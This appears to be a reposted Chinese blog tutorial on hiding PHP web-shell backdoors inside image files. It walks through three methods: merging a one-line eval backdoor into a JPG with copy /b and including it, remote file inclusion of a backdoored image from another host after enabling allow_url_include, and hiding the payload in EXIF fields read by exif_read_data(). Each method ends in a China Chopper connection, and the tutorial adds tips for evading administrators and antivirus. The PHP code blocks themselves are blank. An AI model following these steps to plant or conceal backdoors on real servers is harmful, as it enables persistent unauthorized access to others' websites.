PHP图片后门藏匿攻略

PHP图片后门藏匿攻略_第1张图片
我们平时藏匿图片后门是什么流程呢?我们来看一下

0x01 初级的藏匿方法:

1、建立一个eval.php文件,上面加入我们的后门:


2、找一张图片1.jpg,最好是从目标网站上下载下来的图片。

3、合并图片和php后门:

Copy /b C:\xampp\htdocs\images\1.jpg + C:\xampp\htdocs\images\eval.php C:\xampp\htdocs\images\2.jpg

4、在任何一个php文件中包含这个2.jpg的图片后门,这里以images.php为例,写入以下的代码:


5、上传2.jpg和images.php,在菜刀里添加一句话后门:http://127.0.0.1/images/images.php,密码为feiji。

访问图片正常:
PHP图片后门藏匿攻略_第2张图片
访问images.php页面出现乱码,但是后门已经正常运行:
PHP图片后门藏匿攻略_第3张图片
但是一句话在菜刀里是可以解析成功的:
PHP图片后门藏匿攻略_第4张图片
注:省去第3步也是可以的,只不过直接访问图片会乱码,会让管理员起疑心。

0x02 中级藏匿的方法:

1、其实就是远程文件包含,也不只是针对图片,要求你有高权限,能够操纵Apache和修改php.ini文件:

修改ini的配置选项allow_url_fopen和allow_url_include为ON。
2、创建任何一个php文件中,以images.php为例,写入以下的代码:


3、刚才做的图片后门jpg可以放在别的网站(http://www.xxxx.com)上,在菜刀里添加一句话后门:

http://127.0.0.1/images/images.php?feiji=http://www.xxxx.com/images/2.jpg 密码为feiji

注:这样做的优点是可以随时变换各种后门,缺点是很难获取到高权限。

0x03 高级的藏匿方法
背景知识:
EXIF信息: 是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。所有的JPEG文件以字符串“0xFFD8”开头,并以字符串“0xFFD9”结束。文件头中有一系列“0xFF??”格式的字符串,称为“标识”,用来标记JPEG文件的信息段。“0xFFD8”表示图像信息开始,“0xFFD9”表示图像信息结束,这两个标识后面没有信息,而其它标识紧跟一些信息字符。

其实就是这个玩意儿:选定图片右键选择属性,在详细信息里面可以看到(win7)
PHP图片后门藏匿攻略_第5张图片
1、php里面有一个函数exif_read_data(),可以取得图片的EXIF信息头,但是需要开启php_exif模块。

2、我们是可以随意修改EXIF信息的,例如:
PHP图片后门藏匿攻略_第6张图片
这里推荐一个小工具,PowerExif ,下载地址为:

http://www.pc6.com/softview/SoftView_68705.html

免费版可以修改部分EXIF信息头,但是对我们来说已经足够了。

打开工具,点击添加,在修改机型信息,如下:
PHP图片后门藏匿攻略_第7张图片
添加我们的PAYLOAD:

PHP图片后门藏匿攻略_第8张图片

3、我们来调试一下:


输出:
PHP图片后门藏匿攻略_第9张图片
4、利用方法:

在php脚本上写入:、


5、在菜刀上添加http://127.0.0.1/images/images.php 密码为feiji,效果:
PHP图片后门藏匿攻略_第10张图片

有同学可能会问,为什么要使用这种方法藏匿图片后门,这个不是和初级的藏匿方法等效吗?原因有三:

有经验的管理员一看include文件就会发现有端倪。
杀软会重点检查include包含的文件。
exif_read_data()函数可以包含远程的JPG文件,也就是等效于一个远程漏洞文件包含咯。
: 未经授权 禁止转载!

你可能感兴趣的:(PHP,逆向漏洞,实战篇)